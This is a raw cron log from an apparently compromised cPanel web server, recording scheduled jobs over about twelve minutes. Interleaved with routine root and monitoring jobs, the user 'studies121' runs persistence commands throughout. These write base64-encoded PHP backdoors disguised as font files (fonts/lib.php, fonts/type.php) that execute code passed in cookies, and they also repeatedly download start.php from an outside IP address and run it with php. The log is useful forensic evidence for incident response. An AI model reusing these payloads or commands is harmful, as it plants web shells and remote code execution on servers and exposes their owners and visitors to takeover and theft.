Aug 30 19:33:01 ip-184-168-122-23 CROND[31777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:33:01 ip-184-168-122-23 CROND[31776]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:33:01 ip-184-168-122-23 CROND[31779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:34:01 ip-184-168-122-23 CROND[31946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:34:01 ip-184-168-122-23 CROND[31945]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 19:34:01 ip-184-168-122-23 CROND[31951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:34:01 ip-184-168-122-23 CROND[31949]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:34:01 ip-184-168-122-23 CROND[31953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:35:01 ip-184-168-122-23 CROND[32057]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:35:01 ip-184-168-122-23 CROND[32059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:35:01 ip-184-168-122-23 CROND[32060]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 19:35:01 ip-184-168-122-23 CROND[32062]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 19:35:01 ip-184-168-122-23 CROND[32061]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 19:35:01 ip-184-168-122-23 CROND[32064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:35:01 ip-184-168-122-23 CROND[32063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:35:01 ip-184-168-122-23 CROND[32066]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 30 19:36:01 ip-184-168-122-23 CROND[32160]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:36:01 ip-184-168-122-23 CROND[32161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:36:01 ip-184-168-122-23 CROND[32163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:36:01 ip-184-168-122-23 CROND[32164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:36:01 ip-184-168-122-23 CROND[32165]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 19:37:02 ip-184-168-122-23 CROND[32249]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:37:02 ip-184-168-122-23 CROND[32252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:37:02 ip-184-168-122-23 CROND[32251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:37:02 ip-184-168-122-23 CROND[32250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:38:01 ip-184-168-122-23 CROND[32342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:38:01 ip-184-168-122-23 CROND[32341]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 19:38:01 ip-184-168-122-23 CROND[32345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:38:01 ip-184-168-122-23 CROND[32347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:38:01 ip-184-168-122-23 CROND[32346]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:39:01 ip-184-168-122-23 CROND[32428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:39:01 ip-184-168-122-23 CROND[32431]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:39:01 ip-184-168-122-23 CROND[32433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:39:01 ip-184-168-122-23 CROND[32434]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 19:39:01 ip-184-168-122-23 CROND[32436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:40:01 ip-184-168-122-23 CROND[32521]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 19:40:01 ip-184-168-122-23 CROND[32523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:40:01 ip-184-168-122-23 CROND[32524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:40:01 ip-184-168-122-23 CROND[32526]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:40:01 ip-184-168-122-23 CROND[32525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:40:01 ip-184-168-122-23 CROND[32528]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 19:40:01 ip-184-168-122-23 CROND[32530]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 19:40:01 ip-184-168-122-23 CROND[32529]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 19:41:01 ip-184-168-122-23 CROND[32616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:41:01 ip-184-168-122-23 CROND[32617]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:41:01 ip-184-168-122-23 CROND[32620]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:41:01 ip-184-168-122-23 CROND[32623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:42:01 ip-184-168-122-23 CROND[32731]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 19:42:01 ip-184-168-122-23 CROND[32732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:42:01 ip-184-168-122-23 CROND[32734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:42:01 ip-184-168-122-23 CROND[32735]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:42:01 ip-184-168-122-23 CROND[32739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:43:01 ip-184-168-122-23 CROND[456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:43:01 ip-184-168-122-23 CROND[458]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:43:01 ip-184-168-122-23 CROND[457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:43:01 ip-184-168-122-23 CROND[459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:44:01 ip-184-168-122-23 CROND[539]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:44:01 ip-184-168-122-23 CROND[541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:44:01 ip-184-168-122-23 CROND[542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:44:01 ip-184-168-122-23 CROND[544]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 19:44:01 ip-184-168-122-23 CROND[543]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:45:01 ip-184-168-122-23 CROND[646]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:45:01 ip-184-168-122-23 CROND[648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
